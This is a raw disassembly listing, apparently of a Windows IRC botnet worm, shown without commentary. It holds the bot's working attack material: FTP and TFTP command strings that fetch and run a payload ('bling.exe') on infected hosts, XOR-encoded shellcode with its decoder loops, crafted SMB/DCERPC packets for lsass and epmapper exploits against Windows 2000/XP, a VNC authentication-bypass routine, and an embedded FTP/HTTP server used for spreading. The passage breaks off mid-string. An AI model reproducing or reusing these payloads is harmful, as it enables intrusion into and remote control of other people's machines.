FUNCTION CHUNK FOR sub_432352 loc_43238A: ; CODE XREF: sub_432352+29j call sub_43237D loc_43238F: ; DATA XREF: sub_40CD9E+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_432352 ; --------------------------------------------------------------------------- dw 0 dword_432394 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o dword_4323A0 dd 30h ; DATA XREF: sub_40CD9E+2CAo dword_4323A4 dd 0A1h ; DATA XREF: sub_40CD9E+29Fo dword_4323A8 dd 3 ; DATA XREF: sub_40CD9E+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o align 4 loc_4323B4: ; DATA XREF: sub_40CD9E+E8o jmp short near ptr dword_4323BC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_4323BC dd 0 ; CODE XREF: ___:loc_4323B4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D5F4o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 4 dword_432424 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: ___:0040E02Do ; ___:0040E167o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_432470 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40DCF9+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4327D4 dd 20h, 0 ; DATA XREF: sub_40DCF9+136o dd 20h, 5C005Ch, 0 off_4327E8 dd offset aLafler ; DATA XREF: sub_40DCF9+15Do ; "Lafler" dd offset dword_5C0024 a12345611111111: unicode 0, <123456111111111111111.doc>,0 align 8 dword_432828 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_43285C dd offset word_580046 ; DATA XREF: sub_40DCF9+45o dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_432938 dd 10016C6h ; DATA XREF: sub_40DCF9+104o dword_43293C dd 100139Dh ; DATA XREF: sub_40DCF9+FBo off_432940 dd offset dword_5C005C ; DATA XREF: sub_40DB5E+1Co ; sub_40DC41+16o align 8 off_432948 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co ; sub_40DC41+Bo dd offset aLallemant+8 dd 24h aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o ; ___:0040E99Eo ... align 10h aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do align 10h jmp short loc_4329C2 ; =============== S U B R O U T I N E ======================================= sub_4329B2 proc far ; CODE XREF: sub_4329B2:loc_4329C2p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_4329BA: ; CODE XREF: sub_4329B2+Cj xor byte ptr [ebx+ecx], 99h loop loc_4329BA jmp short loc_4329C7 ; --------------------------------------------------------------------------- loc_4329C2: ; CODE XREF: ___:004329B0j call near ptr sub_4329B2 loc_4329C7: ; CODE XREF: sub_4329B2+Ej jo short loc_432A2B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_432A49 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_432A2B: ; CODE XREF: sub_4329B2:loc_4329C7j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_432A49: ; CODE XREF: sub_4329B2+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_4329B2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_432AF0: ; DATA XREF: sub_40E3F1+156o ; sub_40E3F1+212o jmp short loc_432B02 ; =============== S U B R O U T I N E ======================================= sub_432AF2 proc near ; CODE XREF: sub_432AF2:loc_432B02p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_432AFA: ; CODE XREF: sub_432AF2+Cj xor byte ptr [edx+ecx], 99h loop loc_432AFA jmp short loc_432B07 ; --------------------------------------------------------------------------- loc_432B02: ; CODE XREF: ___:loc_432AF0j call sub_432AF2 loc_432B07: ; CODE XREF: sub_432AF2+Ej jo short near ptr dword_432A80+1Eh cwde cdq cdq retn sub_432AF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_432BA0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40E3F1+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_432C88 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:0040E8A6o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_432D14 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:0040E8D2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_432DC0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:0040E8F9o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_432EA0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_40E3F1+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_432F04 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_432F70 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_433014 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_433094 dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_433128 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_433194 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_433208 dd 0 ; DATA XREF: sub_40E3F1+35Fo dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 2 dup(0) word_433290 dw 0AD9Dh ; DATA XREF: sub_40E292+30r ; sub_40E3F1+E7r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4332D0 dd 1004600h ; DATA XREF: sub_40E3F1+140r ; sub_40E3F1+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_40E292+BCo db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o ; --------------------------------------------------------------------------- loc_433408: ; DATA XREF: sub_40E3F1+177o jmp short loc_433410 ; --------------------------------------------------------------------------- jmp short loc_433412 ; --------------------------------------------------------------------------- align 10h loc_433410: ; CODE XREF: ___:loc_433408j ; DATA XREF: sub_40E3F1+27o pop esp pop esp loc_433412: ; CODE XREF: ___:0043340Aj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_43341C dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr dword_433420 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r dword_433424 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E9FB+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o align 4 word_4346DC dw 1 ; DATA XREF: ___:0040EC29r ; sub_41B55B+24r ... align 10h dword_4346E0 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_41A1B1+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferCom db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:004387E8o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:004387F4o unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass_0 db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_2 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4349C4 db 2Dh ; - ; DATA XREF: sub_40FAD6+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_4349EC db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo ; sub_41AA1E+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o ; sub_41AF8F+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo align 4 unk_434C0C db 2Dh ; - ; DATA XREF: sub_4100B4+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_34 db ' failed to start worker thread, error %d',0 align 4 unk_434C44 db 2Dh ; - ; DATA XREF: sub_4100B4+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_434C78: ; DATA XREF: sub_4100B4+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_41036B+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_41036B+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" 